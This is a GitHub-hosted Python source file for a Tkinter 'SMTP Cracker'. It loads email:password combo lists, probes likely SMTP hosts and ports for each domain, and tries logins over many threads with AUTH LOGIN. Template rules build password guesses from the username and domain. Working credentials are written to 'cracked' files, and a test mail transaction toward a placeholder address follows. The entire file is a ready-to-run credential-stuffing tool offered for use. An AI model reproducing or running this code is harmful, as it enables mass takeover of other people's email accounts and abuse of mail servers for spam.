-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsmtp.py
330 lines (300 loc) · 11.9 KB
/
smtp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
import sys
import os
import socket
import threading
import base64
import datetime
import ssl
import imaplib
import time
import re
import uuid
import requests
import queue
from concurrent.futures import ThreadPoolExecutor
import tkinter as tk
from tkinter import filedialog, messagebox, scrolledtext
import webbrowser
class SMTPCrackerApp(tk.Tk):
def __init__(self):
super().__init__()
self.title('SMTP Cracker')
self.geometry('600x600')
self.configure(bg='lightgray') # Change the background color to light gray
self.good_count = 0
self.bad_count = 0
self.stop_flag = threading.Event()
self.initUI()
def initUI(self):
self.combo_label = tk.Label(self, text='Combo File:')
self.combo_label.pack()
self.combo_entry = tk.Entry(self, width=50)
self.combo_entry.pack()
self.combo_button = tk.Button(self, text='Browse', command=self.browse_combo_file)
self.combo_button.pack()
self.threads_label = tk.Label(self, text='Number of Threads:')
self.threads_label.pack()
self.threads_entry = tk.Entry(self)
self.threads_entry.insert(0, "200") # Default value
self.threads_entry.pack()
self.start_button = tk.Button(self, text='Start', command=self.start_cracking)
self.start_button.pack()
self.stop_button = tk.Button(self, text='Stop', command=self.stop_cracking)
self.stop_button.pack()
self.good_label = tk.Label(self, text='Good: 0', fg='green')
self.good_label.pack()
self.bad_label = tk.Label(self, text='Bad: 0', fg='red')
self.bad_label.pack()
self.log_text = scrolledtext.ScrolledText(self, state='disabled', width=70, height=20)
self.log_text.pack()
# Add the "Developed by Zied Boughdir 2024" label
self.developer_label = tk.Label(self, text="Developed by Zied Boughdir 2024")
self.developer_label.pack()
# Add the clickable GitHub link
self.github_link = tk.Label(self, text="GitHub: https://github.com/zinzied", fg="blue", cursor="hand2")
self.github_link.pack()
self.github_link.bind("<Button-1>", lambda e: webbrowser.open("https://github.com/zinzied"))
def browse_combo_file(self):
filename = filedialog.askopenfilename(filetypes=[("Text files", "*.txt"), ("All files", "*.*")])
if filename:
self.combo_entry.insert(0, filename)
def log(self, message):
self.log_text.config(state='normal')
self.log_text.insert(tk.END, message + '\n')
self.log_text.config(state='disabled')
self.log_text.yview(tk.END)
print(message) # Also print to console for debugging
def update_counters(self):
self.good_label.config(text=f"Good: {self.good_count}")
self.bad_label.config(text=f"Bad: {self.bad_count}")
def increment_good(self):
self.good_count += 1
self.update_counters()
def increment_bad(self):
self.bad_count += 1
self.update_counters()
def start_cracking(self):
combo_file = self.combo_entry.get()
if not combo_file:
messagebox.showerror("Error", "Please provide a combo file.")
return
try:
thret = int(self.threads_entry.get())
except ValueError:
messagebox.showerror("Error", "Please provide a valid number of threads.")
return
self.log("Starting SMTP Cracker...")
self.stop_flag.clear()
self.thread = threading.Thread(target=self.crack_smtp, args=(combo_file, thret))
self.thread.start()
def stop_cracking(self):
self.log("Stopping SMTP Cracker...")
self.stop_flag.set()
def crack_smtp(self, combo_file, thret):
try:
inputs = open(combo_file, 'r').read().splitlines()
except Exception as e:
self.log(f"Error: {str(e)}")
return
self.log ("Connecting ...........")
quee = queue.Queue(maxsize=20000)
with ThreadPoolExecutor(max_workers=thret) as executor:
for i in range(int(thret)):
try:
executor.submit(Consumer(quee, self.log, self.increment_good, self.increment_bad, self.stop_flag).run)
except Exception as e:
self.log(f"Working only with {i} threads due to error: {str(e)}")
break
try:
for i in inputs:
if self.stop_flag.is_set():
break
user = i.split(':')[0]
password = i.split(':')[1]
user = user.lower()
quee.put((user.split('@')[1], user, password))
except Exception as e:
self.log(f"Error processing inputs: {str(e)}")
quee.join()
self.log("Cracking process completed.")
class Consumer(threading.Thread):
def __init__(self, qu, log_func, increment_good, increment_bad, stop_flag):
super().__init__()
self.q = qu
self.log = log_func
self.increment_good = increment_good
self.increment_bad = increment_bad
self.stop_flag = stop_flag
self.hosts = ["", "smtp.", "mail.", "webmail.", "secure.", "plus.smtp.", "smtp.mail.", "smtp.att.", "pop3.", "securesmtp.", "outgoing.", "smtp-mail.", "plus.smtp.mail.", "Smtpauths.", "Smtpauth."]
self.ports = [587, 465, 25]
self.timeout = 13
def sendCmd(self, sock, cmd):
sock.send(cmd.encode() + b"\r\n")
return sock.recv(900000)
def addBad(self, ip):
global bads, rbads
if rbads:
bads.append(ip)
self.increment_bad()
return -1
def findHost(self, host):
self.log(f"Searching smtp host and port on {host}")
global cache, bads, rbads
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(0)
s.settimeout(self.timeout)
try:
d = cache[host]
try:
if self.ports[d[1]] == 465:
s = ssl.wrap_socket(s)
s.connect((self.hosts[d[0]] + host, self.ports[d[1]]))
return s
except Exception as e:
if rbads:
bads.append(host)
return None
except KeyError:
pass
cache[host] = [-1, -1]
for i, p in enumerate(self.ports):
for j, h in enumerate(self.hosts):
self.log(f"Trying connection on {h}{host}:{p}")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(0)
s.settimeout(self.timeout)
if p == 465:
s = ssl.wrap_socket(s)
s.connect((h + host, p))
cache[host] = [j, i]
return s
except Exception as e:
continue
bads.append(host)
del cache[host]
return None
def getPass(self, passw, user, domain):
passw = str(passw)
if '%null%' in passw:
return ""
elif '%user%' in passw:
user = user.replace('-', '').replace('.', '').replace('_', '')
return passw.replace('%user%', user)
elif '%User%' in user:
user = user.replace('-', '').replace('.', '').replace('_', '')
return passw.replace('%User%', user)
elif '%special%' in user:
user = user.replace('-', '').replace('.', '').replace('_', '').replace('e', '3').replace('i', '1').replace('a', '@')
return passw.replace('%special%', user)
elif '%domain%' in passw:
return passw.replace('%domain%', domain.replace("-", ""))
if '%part' in passw:
if '-' in user:
parts = user.split('-')
elif '.' in user:
parts = user.split('.')
elif '_' in user:
parts = user.split('_')
try:
h = passw.replace('%part', '').split('%')[0]
i = int(h)
p = passw.replace('%part' + str(i) + '%', parts[i - 1])
return p
except Exception as e:
return None
return passw
def connect(self, tupple, ssl=False):
global bads, cracked, cache, email
host = tupple[0].rstrip()
host1 = host
user = tupple[1].rstrip()
if host1 in cracked or host1 in bads:
return 0
passw = self.getPass(tupple[2].rstrip(), user.rstrip().split('@')[0], host.rstrip().split('.')[0])
if passw is None:
return 0
try:
if cache[host][0] == -1:
return 0
except KeyError:
pass
s = self.findHost(host)
if s is None:
return -1
port = str(self.ports[cache[host][1]])
if port == "465":
port += "(SSL)"
host = self.hosts[cache[host][0]] + host
self.log(f"Trying > {host}:{port}:{user}:{passw}")
try:
banner = s.recv(1024)
if banner[0:3] != b"220":
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez = self.sendCmd(s, "EHLO ADMIN")
rez = self.sendCmd(s, "AUTH LOGIN")
if rez[0:3] != b'334':
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez = self.sendCmd(s, base64.b64encode(user.encode()).decode())
if rez[0:3] != b'334':
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez = self.sendCmd(s, base64.b64encode(passw.encode()).decode())
if rez[0:3] != b"235" or b'fail' in rez:
self.sendCmd(s, 'QUIT')
s.close()
return 0
self.log(f"\n[>] GENIUS!! > {host}:{port} {user} {passw}")
with open('cracked_smtps.txt', 'a') as save:
save.write(host + ":" + port + "," + user + "," + passw + "\n")
with open('cracked_Mailaccess.txt', 'a') as save:
save.write(user + ":" + passw + "\n")
cracked.append(host1)
self.increment_good()
rez = self.sendCmd(s, "RSET")
if rez[0:3] != b'250':
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez = self.sendCmd(s, "MAIL FROM: <" + user + ">")
if rez[0:3] != b'250':
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez = self.sendCmd(s, "RCPT TO: <" + email + ">")
if rez[0:3] != b'250':
self.sendCmd(s, 'QUIT')
s.close()
return self.addBad(host1)
rez=self.sendCmd(s,'DATA')
rez = s.recv(1000)
self.sendCmd(s, 'QUIT')
s.close()
except Exception as e:
self.log(f"Error: {str(e)}")
s.close()
return self.addBad(host1)
def run(self):
while True:
if self.stop_flag.is_set():
break
cmb = self.q.get()
self.connect(cmb)
self.q.task_done()
if __name__ == "__main__":
# Initialize global variables
tld = []
tlds = {}
cache = {}
bads = []
cracked = []
rbads = 0
randomString = uuid.uuid4().hex.upper()[0:7]
email = "[email protected]" # Placeholder email for testing
app = SMTPCrackerApp()
app.mainloop()